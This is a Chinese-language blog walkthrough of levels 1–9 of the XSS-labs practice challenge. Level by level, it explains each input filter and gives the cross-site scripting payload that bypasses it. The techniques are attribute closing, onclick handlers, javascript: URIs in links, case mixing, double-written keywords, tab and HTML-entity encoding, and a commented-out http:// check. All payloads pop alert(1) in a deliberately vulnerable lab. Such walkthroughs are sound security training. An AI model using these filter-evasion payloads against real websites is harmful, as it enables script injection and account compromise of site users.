XSS挑战之旅(1-9)

环境搭建

XSSlab的搭建很简单,下载好压缩包,解压到phpstudy的WWW目录下即可访问。
源码下载(t8t7)

如果不想自己搭建的话,网上有很多搭建好的可以直接测试,比如:
https://xss.angelo.org.cn

前几关还是比较水的,直接把做题过程记录下来好了。。。


第一关

在这里插入图片描述
如图所示,第一关展示的是我们可以通过url中的?name参数,向网站提交数据,然后返回到页面上。

那么直接试一下把name的值提交成弹框。

level1.php?name=<script>alert(1)</script>

成功通关!!!


第二关

在这里插入图片描述
第二关是可以在输入框中输入一个数据提交给服务器,然后提交的数据是会被显示到页面上的。

此时再使用第一关的payload已经是不行了。看一下源码:
在这里插入图片描述
在这里,提交的scirpt被当作页面的内容和value的值处理了,因此没有形成html结构被浏览器执行。

这里有两种通关思路:

  1. 尝试一下闭合value,然后构造一个script标签进去。
    在输入框中输入以下代码:

    "><script>alert(1)</script><"
    

    这样,原本的页面结构就会变成

    <input name=keyword  value=""><script>alert(1)</script><"">
    

    从而再浏览器加载的时候执行弹窗。

  2. 也可构造一个点击事件:

    " οnclick="alert(1)
    

    这样页面结构同样会改动

    <input name=keyword  value="" onclick="alert(1)">
    

    依旧可以实现弹框。


第三关

先输入一个<script>alert(1)</script>看看效果,
在这里插入图片描述
通过源码可以看到,输入的<被html实体代替了,因此不会被当作页面结构处理。但是可以通过闭合的方式构造点击事件。

payload:

' οnclick='alert(1)

第四关

第四关是过滤掉了尖括号,无法构造新的标签。但是依然可以原本的标签中添加onclick属性。

" οnclick="alert(1)

第五关

上来就是一个" onclick="alert(1)输进去,看看效果,发现没有弹框,看源码!!
在这里插入图片描述
这里的onclick被改成了o_nclick。。。。
那么网站可能是会自动识别onclick这个字眼;输入"><script>alert(1)</script><"时,结果是script被改为了scr_ipt

遇到这种检测机制,首先想到的就是大小写绕过,试一了一下,发现不可以。

既然无法新增script标签和为已有标签增添事件。那么可以尝试一下html的其他标签–a标签。

"> <a href=javascript:alert(1)><"

将以上内容输入以后,会得到下图效果
在这里插入图片描述
点一下就会弹框通关。


第六关

这一关和之前的第五关一样,会识别onclickhref等关键字,然后进行改写。
但是这一关可以使用大小写混写绕过。

" OnClick="alert(1)

或者添加一个a标签(仍需要混写href绕过检测)

"> <a hRef=javascript:alert(1)>

第七关

第七关会对一些关键字进行识别,然后删除,比如<a href>会被改成<a>
对于这种防御机制,常用的方法就是双写绕过。
比如网站会识别script,我们就将其构造成scscriptript提交,通过网站的删除后,就会变成script;从而达到注入效果。

这一关会删除on,那么我们用如下方法绕过:

" oonnclick="alert(1)

或者双写a标签中的href通关

"><a hrhrefef=javascripscriptt:alert(1)>

或者双写构造新的script通关。

"><scscriptript>alert(1)</scriscriptpt>

第八关

输入" onclick="alert(1)测试并查看源代码。
在这里插入图片描述

可以看到,这里的引号被实体代替了。因此无法使用引号构造闭合,但是网页提供了a标签,并且输入的内容会被赋值给a标签的href属性,那么我们可以在href中插入javascript:alert(1)实现弹框。

直接输入javascript:alert(1)发现script会被识别改写,并且大小写绕过也不行。

那么可以使用单词中间掺杂空白字符的方法,妨碍后端识别指定单词。

符号URL编码
制表%09
换行%0a
退格%08

注:掺杂以上url编码的payload要提交到浏览器的地址栏才能生效。

level8.php?keyword=javascr%09ipt%3Aalert(1)&submit=添加友情链接

还有一种方法可以使用提交框进行注入:&#x9
&#x9插入到关键字之中,如下:

javascr&#x9ipt:alert(1)

在这里插入图片描述

发现网上还有一种解决方案:
利用HTML实体编号进行绕过。
可以将javascript:alert(1)编码成
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41
这样后端php不会对其进行改写,但是用户浏览器会将这些编码进行翻译,从而转换为javascript:alert(1)弹框。

这里是大佬写的函数(本人稍作修改):

def unicodeHtml(orgCode):
    fin = ';'.join('&#{}'.format(ord(x)) for x in orgCode)
    return fin

第九关

这一关和地八关的防护机制基本相同,思路同样是在a标签的href中进行注入。但是,此处对于href又添加了一个检测机制。

我们还拿上一关的javascr&#x9ipt:alert(1)检测发现,页面会提示我们输入的链接不合法。

这是因为后台会检测是否有http://字段,但是如果把http://javascr&#x9ipt:alert(1)直接构造在一起,弹框就无效了。因此需要把http://注释掉,这样后台依然能够检测到http://而又不会影响javascr&#x9ipt:alert(1)的弹框。

javascr&#x9ipt:alert(1) // http://

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值